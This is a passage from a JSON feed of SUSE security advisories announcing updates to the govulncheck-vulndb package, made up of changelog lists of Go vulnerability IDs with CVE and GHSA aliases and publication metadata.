GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n * GO-2026-6166 CVE-2026-56868\n * GO-2026-6168 CVE-2026-56869\n * GO-2026-6169 CVE-2026-56870\n * GO-2026-6170 CVE-2026-56871\n * GO-2026-6171 CVE-2026-56872\n * GO-2026-6172 CVE-2026-56873\n * GO-2026-6173 CVE-2026-56874\n * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n * GO-2026-6190 GHSA-945v-v9p3-v5xw\n * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n * GO-2026-6197 GHSA-h4mf-4v27-hggj\n * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n * GO-2026-6216\n * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n * GO-2026-6237\n * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n * GO-2026-5942 CVE-2026-46600\n * GO-2026-5972 CVE-2026-33818\n * GO-2026-6088 CVE-2026-56859\n * GO-2026-6089 CVE-2026-56853\n * GO-2026-6090 CVE-2026-56862\n * GO-2026-6091 CVE-2026-56858\n * GO-2026-6179 CVE-2026-56865\n * GO-2026-6180 CVE-2026-56864\n * GO-2026-6218 CVE-2026-56860\n * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5026 CVE-2026-39821\n * GO-2026-6225\n * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n * GO-2026-6267 GHSA-h58c-xccx-75m3\n * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n * GO-2026-6278 GHSA-w67g-5rqw-f597\n * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n * GO-2026-6289 GHSA-w8j7-39hp-8x59\n * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n * GO-2026-4950\n * GO-2026-6093 GHSA-464c-974j-9xm6\n * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n * GO-2026-6095 GHSA-r277-6w6q-xmqw\n * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n * GO-2026-6105 GHSA-c534-2w9c-x7fm\n * GO-2026-6106 GHSA-v6w6-358x-2433\n * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n * GO-2026-6109 GHSA-86cx-wwf4-phq4\n * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n * GO-2026-6113 GHSA-p6ph-3jx2-3337\n * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n * GO-2026-6115 CVE-2026-56867\n * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n * GO-2026-6166 CVE-2026-56868\n * GO-2026-6168 CVE-2026-56869\n * GO-2026-6169 CVE-2026-56870\n * GO-2026-6170 CVE-2026-56871\n * GO-2026-6171 CVE-2026-56872\n * GO-2026-6172 CVE-2026-56873\n * GO-2026-6173 CVE-2026-56874\n * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n * GO-2026-6190 GHSA-945v-v9p3-v5xw\n * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n * GO-2026-6197 GHSA-h4mf-4v27-hggj\n * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n * GO-2026-6216\n * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n * GO-2026-6237\n * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n * GO-2026-5942 CVE-2026-46600\n * GO-2026-5972 CVE-2026-33818\n * GO-2026-6088 CVE-2026-56859\n * GO-2026-6089 CVE-2026-56853\n * GO-2026-6090 CVE-2026-56862\n * GO-2026-6091 CVE-2026-56858\n * GO-2026-6179 CVE-2026-56865\n * GO-2026-6180 CVE-2026-56864\n * GO-2026-6218 CVE-2026-56860\n * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}